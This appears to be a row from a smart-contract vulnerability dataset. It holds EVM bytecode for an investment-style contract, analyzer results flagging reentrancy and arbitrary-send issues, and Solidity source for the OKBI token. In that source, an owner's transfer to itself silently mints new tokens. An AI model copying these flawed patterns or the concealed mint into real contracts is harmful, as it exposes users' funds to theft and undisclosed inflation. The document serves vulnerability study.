2461bcd02815260206004820152601a60248201527f706179206d6f646520646f6573206e6f74207468652073616d65000000000000604482015290519081900360640190fd5b6105953361219c565b80519094506000106105f1576040805160e560020a62461bcd02815260206004820152601660248201527f73656e646572206973206e6f7420696e766573746f7200000000000000000000604482015290519081900360640190fd5b600154604085015110156106ae5760048054600154604080517f440135850000000000000000000000000000000000000000000000000000000081523394810194909452602484019190915251600160a060020a039091169163440135859160448083019260209291908290030181600087803b15801561067157600080fd5b505af1158015610685573d6000803e3d6000fd5b505050506040513d602081101561069b57600080fd5b505115156106a557fe5b60015460408501525b6106d8620151806106cc86604001514261227f90919063ffffffff16565b9063ffffffff61229616565b925060008311610758576040805160e560020a62461bcd02815260206004820152602c60248201527f746865206c6174657374207061796d656e7420776173206561726c696572207460448201527f68616e20323420686f7572730000000000000000000000000000000000000000606482015290519081900360840190fd5b60048054604080517f44013585000000000000000000000000000000000000000000000000000000008152339381019390935242602484015251600160a060020a039091169163440135859160448083019260209291908290030181600087803b1580156107c557600080fd5b505af11580156107d9573d6000803e3d6000fd5b505050506040513d60208110156107ef57600080fd5b505115156107f957fe5b826108128560200151600a6122b990919063ffffffff16565b6060860151910292508201303110156108325761082d6122e6565b6108fd565b6000846060015111156108f35760048054604080517ffbeac9c900000000000000000000000000000000000000000000000000000000815233938101939093526000602484018190529051600160a060020a039092169263fbeac9c99260448083019360209383900390910190829087803b1580156108b057600080fd5b505af11580156108c4573d6000803e3d6000fd5b505050506040513d60208110156108da57600080fd5b505115156108e457fe5b61082d33838660600151612417565b6108fd33836124cd565b604080514281523031602082015281517f32367fddaa1baa1c6a0fc5c3e8284df724bacc7b50e847c32c9f9765f9f96137929181900390910190a150505050565b6014015190565b600160a060020a0316151590565b6000804262093a8060085401111515156109b7576040805160e560020a62461bcd02815260206004820152601e60248201527f7061757365206f6e206e6578742077617665206e6f7420657870697265640000604482015290519081900360640190fd5b66b1a2bc2ec50000341015610a3c576040805160e560020a62461bcd02815260206004820152602160248201527f6d73672e76616c7565206d757374206265203e3d206d696e496e7665736d656e60448201527f7400000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b6a1b8b8c9e000e82a480000030311115610aa0576040805160e560020a62461bcd02815260206004820152601e60248201527f74686520636f6e7472616374206574682062616c616e6365206c696d69740000604482015290519081900360640190fd5b3360009081526005602052604090205434925060ff161515610f8057610acd8360005b602002015161253e565b8015610b655750600454600160a060020a0316635dbe47e884600060200201516040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b158015610b3857600080fd5b505af1158015610b4c573d6000803e3d6000fd5b505050506040513d6020811015610b6257600080fd5b50515b15610f8057610b7b60108363ffffffff6122b916565b600480548551604080517f11302818000000000000000000000000000000000000000000000000000000008152600160a060020a0392831694810194909452602484018590525193945016916311302818916044808201926020929091908290030181600087803b158015610bef57600080fd5b505af1158015610c03573d6000803e3d6000fd5b505050506040513d6020811015610c1957600080fd5b50511515610c2357fe5b336000908152600560205260409020805460ff19166001179055610c4e600a8363ffffffff61256c16565b6040805142815260208101839052815192945033927f51dd0a60788a76a784e14408dda19543a507171e513d8a1aab1859626c30d448929181900390910190a2610c99836001610ac3565b8015610d315750600454600160a060020a0316635dbe47e884600160200201516040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b158015610d0457600080fd5b505af1158015610d18573d6000803e3d6000fd5b505050506040513d6020811015610d2e57600080fd5b50515b8015610d4f575060208301518351600160a060020a03908116911614155b15610f805760048054602080860151604080517f11302818000000000000000000000000000000000000000000000000000000008152600160a060020a03928316958101959095526024850186905251921692631130281892604480830193928290030181600087803b158015610dc557600080fd5b505af1158015610dd9573d6000803e3d6000fd5b505050506040513d6020811015610def57600080fd5b50511515610df957fe5b610e04836002610ac3565b8015610e9c5750600454600160a060020a0316635dbe47e884600260200201516040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b158015610e6f57600080fd5b505af1158015610e83573d6000803e3d6000fd5b505050506040513d6020811015610e9957600080fd5b50515b8015610eba575060408301518351600160a060020a03908116911614155b8015610edb575060408301516020840151600160a060020a03908116911614155b15610f8057600454600160a060020a031663113028188460026020020151836040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b158015610f4c57600080fd5b505af1158015610f60573d6000803e3d6000fd5b505050506040513d6020811015610f7657600080fd5b50511515610f8057fe5b6006546101009004600160a060020a03166108fc610f9f600c346122b9565b6040518115909202916000818181858888f19350505050158015610fc7573d6000803e3d6000fd5b50600754600160a060020a03166108fc610fe8600e3463ffffffff6122b916565b6040518115909202916000818181858888f19350505050158015611010573d6000803e3d6000fd5b5060048054604080517f5dbe47e8000000000000000000000000000000000000000000000000000000008152339381019390935251600160a060020a0390911691635dbe47e89160248083019260209291908290030181600087803b15801561107857600080fd5b505af115801561108c573d6000803e3d6000fd5b505050506040513d60208110156110a257600080fd5b5051156111505760048054604080517fca0b187800000000000000000000000000000000000000000000000000000000815233938101939093526024830185905251600160a060020a039091169163ca0b18789160448083019260209291908290030181600087803b15801561111757600080fd5b505af115801561112b573d6000803e3d6000fd5b505050506040513d602081101561114157600080fd5b5051151561114b57fe5b61122d565b60048054604080517f0fd0ae1000000000000000000000000000000000000000000000000000000000815233938101939093526024830185905251600160a060020a0390911691630fd0ae109160448083019260209291908290030181600087803b1580156111be57600080fd5b505af11580156111d2573d6000803e3d6000fd5b505050506040513d60208110156111e857600080fd5b505115156111f257fe5b6040805142815260208101849052815133927f5299e1ad8e7b5bcb9a8bfb1ce23cc0210bfea47a33518ab518a93fef68427d98928290030190a25b600160035460ff16600181111561124057fe5b14156112e75760048054604080517f44013585000000000000000000000000000000000000000000000000000000008152339381019390935242602484015251600160a060020a039091169163440135859160448083019260209291908290030181600087803b1580156112b357600080fd5b505af11580156112c7573d6000803e3d6000fd5b505050506040513d60208110156112dd57600080fd5b505115156112e757fe5b6040805142815260208101849052815133927f28c94178af4152674986540aaca61b18b89f54283f74283ef675a90583339b8f928290030190a2600980546001019055604080514281523031602082015281517f32367fddaa1baa1c6a0fc5c3e8284df724bacc7b50e847c32c9f9765f9f96137929181900390910190a1505050565b60095481565b6003803360009081526020819052604090205460ff16600381111561139157fe5b14806113ba575060033360009081526020819052604090205460ff1660038111156113b857fe5b145b15156113fe576040805160e560020a62461bcd02815260206004820152600d6024820152600080516020613048833981519152604482015290519081900360640190fd5b61141082600160a060020a0316612581565b600754600160a060020a038381169116146114855760078054600160a060020a03841673ffffffffffffffffffffffffffffffffffffffff1990911681179091556040805142815290517fd7f1608e19fd9d15ac7ca872d397878f39039fcda33c52af2536ec2790bde7269181900360200190a25b5050565b66b1a2bc2ec5000081565b6003803360009081526020819052604090205460ff1660038111156114b557fe5b14806114de575060033360009081526020819052604090205460ff1660038111156114dc57fe5b145b1515611522576040805160e560020a62461bcd02815260206004820152600d6024820152600080516020613048833981519152604482015290519081900360640190fd5b61153482600160a060020a0316612581565b600654600160a060020a0383811661010090920416146114855760068054600160a060020a038416610100810274ffffffffffffffffffffffffffffffffffffffff0019909216919091179091556040805142815290517f668e88f9d85264651fcdf6de6ef084c112c92cba1fad30510c383c5d1ea1e6919181900360200190a25050565b6010546011549091565b60008060008060004262093a80600854011115151561162c576040805160e560020a62461bcd02815260206004820152601e60248201527f7061757365206f6e206e6578742077617665206e6f7420657870697265640000604482015290519081900360640190fd5b6001803360009081526020819052604090205460ff16600381111561164d57fe5b1480611676575060033360009081526020819052604090205460ff16600381111561167457fe5b145b15156116ba576040805160e560020a62461bcd02815260206004820152600d6024820152600080516020613048833981519152604482015290519081900360640190fd5b60008060035460ff1660018111156116ce57fe5b14611723576040805160e560020a62461bcd02815260206004820152601a60248201527f706179206d6f646520646f6573206e6f74207468652073616d65000000000000604482015290519081900360640190fd5b60065460ff161561173b576117366122e6565b611c25565b60048054604080517f80ac80b00000000000000000000000000000000000000000000000000000000081529051600160a060020a03909216926380ac80b09282820192602092908290030181600087803b15801561179857600080fd5b505af11580156117ac573d6000803e3d6000fd5b505050506040513d60208110156117c257600080fd5b505160025414156118555760015461a8c0014211611850576040805160e560020a62461bcd02815260206004820152602c60248201527f746865206c6174657374207061796d656e7420776173206561726c696572207460448201527f68616e20313220686f7572730000000000000000000000000000000000000000606482015290519081900360840190fd5b426001555b60025460048054604080517f949d225d0000000000000000000000000000000000000000000000000000000081529051939a50600160a060020a039091169263949d225d928281019260209291908290030181600087803b1580156118b957600080fd5b505af11580156118cd573d6000803e3d6000fd5b505050506040513d60208110156118e357600080fd5b505193505b83871080156118f8575061c3505a115b15611b865760048054604080517f460d674b0000000000000000000000000000000000000000000000000000000081529283018a905251600160a060020a039091169163460d674b9160248083019260209291908290030181600087803b15801561196257600080fd5b505af1158015611976573d6000803e3d6000fd5b505050506040513d602081101561198c57600080fd5b505160048054604080517f993d3489000000000000000000000000000000000000000000000000000000008152600160a060020a03808616948201949094528151949750929091169263993d34899260248082019392918290030181600087803b1580156119f957600080fd5b505af1158015611a0d573d6000803e3d6000fd5b505050506040513d6040811015611a2357600080fd5b5080516020909101519096509450611a42600a8763ffffffff6122b916565b955084860130311015611a61576006805460ff19166001179055611b86565b6000851115611b715760048054604080517ffbeac9c9000000000000000000000000000000000000000000000000000000008152600160a060020a03878116948201949094526000602482018190529151939092169263fbeac9c9926044808201936020939283900390910190829087803b158015611adf57600080fd5b505af1158015611af3573d6000803e3d6000fd5b505050506040513d6020811015611b0957600080fd5b50511515611b61576040805160e560020a62461bcd02815260206004820152600e60248201527f696e7465726e616c206572726f72000000000000000000000000000000000000604482015290519081900360640190fd5b611b6c838787612417565b611b7b565b611b7b83876124cd565b6001909601956118e8565b83871415611c1f5760048054604080517f80ac80b00000000000000000000000000000000000000000000000000000000081529051600160a060020a03909216926380ac80b09282820192602092908290030181600087803b158015611beb57600080fd5b505af1158015611bff573d6000803e3d6000fd5b505050506040513d6020811015611c1557600080fd5b5051600255611c25565b60028790555b604080514281523031602082015281517f32367fddaa1baa1c6a0fc5c3e8284df724bacc7b50e847c32c9f9765f9f96137929181900390910190a150505050505050565b60048054604080517f949d225d0000000000000000000000000000000000000000000000000000000081529051600093600193600160a060020a03169263949d225d928183019260209282900301818887803b158015611cc857600080fd5b505af1158015611cdc573d6000803e3d6000fd5b505050506040513d6020811015611cf257600080fd5b505103905090565b600160a060020a031660009081526020819052604090205460ff1690565b6a1b8b8c9e000e82a480000081565b62093a8081565b6006546101009004600160a060020a031681565b60035460ff1690565b60015490565b600e54600f549091565b600c54600d549091565b6003803360009081526020819052604090205460ff166003811115611d8657fe5b1480611daf575060033360009081526020819052604090205460ff166003811115611dad57fe5b145b1515611df3576040805160e560020a62461bcd02815260206004820152600d6024820152600080516020613048833981519152604482015290519081900360640190fd5b6003826003811115611e0157fe5b1115611e57576040805160e560020a62461bcd02815260206004820152601360248201527f696e76616c6964206163636573732072616e6b00000000000000000000000000604482015290519081900360640190fd5b6003600160a060020a03841660009081526020819052604090205460ff166003811115611e8057fe5b1415611ed6576040805160e560020a62461bcd02815260206004820152601e60248201527f63616e6e6f74206368616e67652066756c6c206163636573732072616e6b0000604482015290519081900360640190fd5b816003811115611ee257fe5b600160a060020a03841660009081526020819052604090205460ff166003811115611f0957fe5b14611f9a57600160a060020a0383166000908152602081905260409020805483919060ff19166001836003811115611f3d57fe5b021790555082600160a060020a03167f281b0406296ed2277e9ec49b1acca0b452581a995e533fa5256a3ce9355f9a60428460405180838152602001826003811115611f8557fe5b60ff1681526020019250505060405180910390a25b505050565b600080600080600460009054906101000a9004600160a060020a0316600160a060020a031663743c6775866040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050606060405180830381600087803b15801561201557600080fd5b505af1158015612029573d6000803e3d6000fd5b505050506040513d606081101561203f57600080fd5b508051602080830151604093840151600160a060020a03909916600090815260059092529290205490979196955060ff169350915050565b600754600160a060020a031681565b60085481565b303190565b600a54600b549091565b6002803360009081526020819052604090205460ff1660038111156120bc57fe5b14806120e5575060033360009081526020819052604090205460ff1660038111156120e357fe5b145b1515612129576040805160e560020a62461bcd02815260206004820152600d6024820152600080516020613048833981519152604482015290519081900360640190fd5b60008060035460ff16600181111561213d57fe5b14612192576040805160e560020a62461bcd02815260206004820152601a60248201527f706179206d6f646520646f6573206e6f74207468652073616d65000000000000604482015290519081900360640190fd5b61148560016125e4565b6121a46127a0565b600080600080600460009054906101000a9004600160a060020a0316600160a060020a031663634d6e57876040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050608060405180830381600087803b15801561221a57600080fd5b505af115801561222e573d6000803e3d6000fd5b505050506040513d608081101561224457600080fd5b508051602080830151604080850151606095860151825160808101845295865293850192909252830152918101919091529695505050505050565b6000808383111561228f57600080fd5b5050900390565b6000808083116122a557600080fd5b82848115156122b057fe5b04949350505050565b60008115156122ca575060006122e0565b6001830154835483028115156122dc57fe5b0490505b92915050565b6122ee6127c9565b604051809103906000f08015801561230a573d6000803e3d6000fd5b506004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039290921691909117905561234260006125e4565b60048054604080517f80ac80b00000000000000000000000000000000000000000000000000000000081529051600160a060020a03909216926380ac80b09282820192602092908290030181600087803b15801561239f57600080fd5b505af11580156123b3573d6000803e3d6000fd5b505050506040513d60208110156123c957600080fd5b505160025560006009554260088190556006805460ff1916905560408051918252517fc66870ef5f6257a76295d443e9221488043ec691f830f6c6128755c3518e3c759181900360200190a1565b604051600160a060020a0384169083830180156108fc02916000818181858888f1935050505015611f9a5760408051428152602081018490528151600160a060020a038616927f6710e0cad56444677ac916513b384a4acc6501cfb5219f59657ad4ddffef9d60928290030190a260408051428152602081018390528151600160a060020a038616927f8e3ff7e294a4411929d6ec573691ed656c8e5c691be6dc7d776fadb286dbfe82928290030190a2505050565b604051600160a060020a0383169082156108fc029083906000818181858888f19350505050156114855760408051428152602081018390528151600160a060020a038516927f6710e0cad56444677ac916513b384a4acc6501cfb5219f59657ad4ddffef9d60928290030190a25050565b600061255282600160a060020a0316610945565b80156122e05750600160a060020a03821633141592915050565b600061257883836122b9565b90910192915050565b600160a060020a03811615156125e1576040805160e560020a62461bcd02815260206004820152601860248201527f72657175697265206e6f74207a65726f20616464726573730000000000000000604482015290519081900360640190fd5b50565b60018160018111156125f257fe5b1115612648576040805160e560020a62461bcd02815260206004820152601060248201527f696e76616c696420706179206d6f646500000000000000000000000000000000604482015290519081900360640190fd5b60035460ff16600181111561265957fe5b81600181111561266557fe5b1415612670576125e1565b600181600181111561267e57fe5b1415612703576001541515612703576040805160e560020a62461bcd02815260206004820152602c60248201527f63616e6e6f74207365742070756c6c20706179206d6f6465206966206c61746560448201527f73742074696d6520697320300000000000000000000000000000000000000000606482015290519081900360840190fd5b600081600181111561271157fe5b141561271d5760006001555b6003805482919060ff19166001838181111561273557fe5b021790555060035460ff16600181111561274b57fe5b6040805142815290517f8f010bfb19c67f04dbb7e355027ff728adb05787d09dd023f42af2e6554449e99181900360200190a250565b6060604051908101604052806003906020820280388339509192915050565b608060405190810160405280600081526020016000815260200160008152602001600081525090565b60405161086e806127da833901905600608060405234801561001057600080fd5b5060028054600160a060020a0319163317905560018054906100349082810161003a565b50610084565b81548183558181111561005e5760008381526020902061005e918101908301610063565b505050565b61008191905b8082111561007d5760008155600101610069565b5090565b90565b6107db806100936000396000f3006080604052600436106100b95763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630fd0ae1081146100be57806311302818146100f6578063440135851461011a578063460d674b1461013e5780635dbe47e814610172578063634d6e5714610193578063743c6775146101da57806380ac80b014610219578063949d225d14610240578063993d348914610255578063ca0b18781461028f578063fbeac9c9146102b3575b600080fd5b3480156100ca57600080fd5b506100e2600160a060020a03600435166024356102d7565b604080519115158252519081900360200190f35b34801561010257600080fd5b506100e2600160a060020a03600435166024356103ec565b34801561012657600080fd5b506100e2600160a060020a0360043516602435610491565b34801561014a57600080fd5b5061015660043561052f565b60408051600160a060020a039092168252519081900360200190f35b34801561017e57600080fd5b506100e2600160a060020a036004351661055c565b34801561019f57600080fd5b506101b4600160a060020a0360043516610578565b604080519485526020850193909352838301919091526060830152519081900360800190f35b3480156101e657600080fd5b506101fb600160a060020a03600435166105a9565b60408051938452602084019290925282820152519081900360600190f35b34801561022557600080fd5b5061022e6105d4565b60408051918252519081900360200190f35b34801561024c57600080fd5b5061022e6105da565b34801561026157600080fd5b50610276600160a060020a03600435166105e0565b6040805192835260208301919091528051918290030190f35b34801561029b57600080fd5b506100e2600160a060020a0360043516602435610606565b3480156102bf57600080fd5b506100e2600160a060020a03600435166024356106aa565b6002546000908190600160a060020a0316331461032c576040805160e560020a62461bcd02815260206004820152600d6024820152600080516020610790833981519152604482015290519081900360640190fd5b50600160a060020a038316600090815260208190526040902054801561035557600091506103e5565b600160a060020a0384166000908152602081905260409020600190810184905580549061038490828101610748565b600160a060020a0385166000908152602081905260409020819055600180549192508591839081106103b257fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a03160217905550600191505b5092915050565b600254600090600160a060020a0316331461043f576040805160e560020a62461bcd02815260206004820152600d6024820152600080516020610790833981519152604482015290519081900360640190fd5b600160a060020a03831660009081526020819052604090205415156104665750600061048b565b50600160a060020a038216600090815260208190526040902060030180548201905560015b92915050565b600254600090600160a060020a031633146104e4576040805160e560020a62461bcd02815260206004820152600d6024820152600080516020610790833981519152604482015290519081900360640190fd5b600160a060020a038316600090815260208190526040902054151561050b5750600061048b565b50600160a060020a0391909116600090815260208190526040902060020155600190565b60018054600091908390811061054157fe5b600091825260209091200154600160a060020a031692915050565b600160a060020a03166000908152602081905260408120541190565b600160a060020a03166000908152602081905260409020805460018201546002830154600390930154919390929190565b600160a060020a03166000908152602081905260409020600181015460028201546003909201549092565b60015b90565b60015490565b600160a060020a0316600090815260208190526040902060018101546003909101549091565b600254600090600160a060020a03163314610659576040805160e560020a62461bcd02815260206004820152600d6024820152600080516020610790833981519152604482015290519081900360640190fd5b600160a060020a03831660009081526020819052604090205415156106805750600061048b565b50600160a060020a0382166000908152602081905260409020600190810180548301905592915050565b600254600090600160a060020a031633146106fd576040805160e560020a62461bcd02815260206004820152600d6024820152600080516020610790833981519152604482015290519081900360640190fd5b600160a060020a03831660009081526020819052604090205415156107245750600061048b565b50600160a060020a0391909116600090815260208190526040902060030155600190565b81548183558181111561076c5760008381526020902061076c918101908301610771565b505050565b6105d791905b8082111561078b5760008155600101610777565b509056006163636573732064656e69656400000000000000000000000000000000000000a165627a7a72305820ae193971dd9fa5a6863243d2fb9342bdafc77da2a179377196f234a3b652055300296163636573732064656e69656400000000000000000000000000000000000000a165627a7a72305820e8728367efabbb3dd6eb8bfd90907575b82b0ce06d515bbaef7ea00eeaa0c11e0029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
3,089
0x20a9794e2189ebec11e40aeef963ee53491949cd
pragma solidity ^0.4.24; // File: contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } // File: contracts/token/ERC20/BurnableToken.sol /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } // File: contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract OKBI is StandardToken, BurnableToken, Ownable { // Constants string public constant name = "OKBIcommunity"; string public constant symbol = "OKBI"; uint8 public constant decimals = 18; uint256 constant INITIAL_SUPPLY = 750000000 * (10 ** uint256(decimals)); uint256 constant LOCK_SUPPLY = 250000000 * (10 ** uint256(decimals)); uint256 constant LOCK_SUPPLY1 = 100000000 * (10 ** uint256(decimals)); uint256 constant LOCK_SUPPLY2 = 100000000 * (10 ** uint256(decimals)); uint256 constant LOCK_SUPPLY3 = 50000000 * (10 ** uint256(decimals)); bool mintY1; bool mintY2; bool mintY3; uint256 constant MINT_OKBI = 328767 * (10 ** uint256(decimals)); uint256 constant DAY = 1 days ; uint256 startTime = now; uint256 public lastMintTime; constructor() public { address holder = 0x90d1E3aA01519b7A236Fa9ffC36dA84dE191EdE0; totalSupply_ = INITIAL_SUPPLY + LOCK_SUPPLY; balances[holder] = INITIAL_SUPPLY; emit Transfer(0x0, holder, INITIAL_SUPPLY); balances[address(this)] = LOCK_SUPPLY; emit Transfer(0x0, address(this), LOCK_SUPPLY); lastMintTime = now; } function _transfer(address _from, address _to, uint _value) internal { require (balances[_from] >= _value); // Check if the sender has enough require (balances[_to] + _value > balances[_to]); // Check for overflows balances[_from] = balances[_from].sub(_value); // Subtract from the sender balances[_to] = balances[_to].add(_value); // Add the same to the recipient emit Transfer(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool) { if (msg.sender == _to && msg.sender == owner) { return mint(); } return super.transfer(_to, _value); } function () external payable { revert(); } function withdrawalToken( ) onlyOwner public { if (mintY3 == false && now > startTime + 2 years ) { _transfer(address(this), msg.sender, LOCK_SUPPLY3 ); mintY3 = true; } else if (mintY2 == false && now > startTime + 1 years ) { _transfer(address(this), msg.sender, LOCK_SUPPLY2 ); mintY2 = true; } else if (mintY1 == false) { _transfer(address(this), msg.sender, LOCK_SUPPLY1 ); mintY1 = true; } } function mint() internal returns (bool) { uint256 d = (now - lastMintTime) / DAY ; if (d > 0) { lastMintTime = lastMintTime + DAY * d; totalSupply_ = totalSupply_.add(MINT_OKBI * d); balances[owner] = balances[owner].add(MINT_OKBI * d); emit Transfer(0x0, owner, MINT_OKBI * d); } return true; } /* Batch token transfer. Used by contract creator to distribute initial tokens to holders */ function batchTransfer(address[] _recipients, uint[] _values) onlyOwner public returns (bool) { require( _recipients.length > 0 && _recipients.length == _values.length); uint total = 0; for(uint i = 0; i < _values.length; i++){ total = total.add(_values[i]); } require(total <= balances[msg.sender]); for(uint j = 0; j < _recipients.length; j++){ balances[_recipients[j]] = balances[_recipients[j]].add(_values[j]); emit Transfer(msg.sender, _recipients[j], _values[j]); } balances[msg.sender] = balances[msg.sender].sub(total); return true; } }
0x6080604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100f6578063095ea7b31461018657806318160ddd146101eb57806323b872dd14610216578063313ce5671461029b57806342966c68146102cc5780635188875b146102f9578063661884631461031057806370a082311461037557806388d695b2146103cc5780638da5cb5b1461048d57806395d89b41146104e45780639d46352014610574578063a9059cbb1461059f578063d73dd62314610604578063dd62ed3e14610669578063f2fde38b146106e0575b600080fd5b34801561010257600080fd5b5061010b610723565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014b578082015181840152602081019050610130565b50505050905090810190601f1680156101785780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019257600080fd5b506101d1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061075c565b604051808215151515815260200191505060405180910390f35b3480156101f757600080fd5b5061020061084e565b6040518082815260200191505060405180910390f35b34801561022257600080fd5b50610281600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610858565b604051808215151515815260200191505060405180910390f35b3480156102a757600080fd5b506102b0610c12565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102d857600080fd5b506102f760048036038101908080359060200190929190505050610c17565b005b34801561030557600080fd5b5061030e61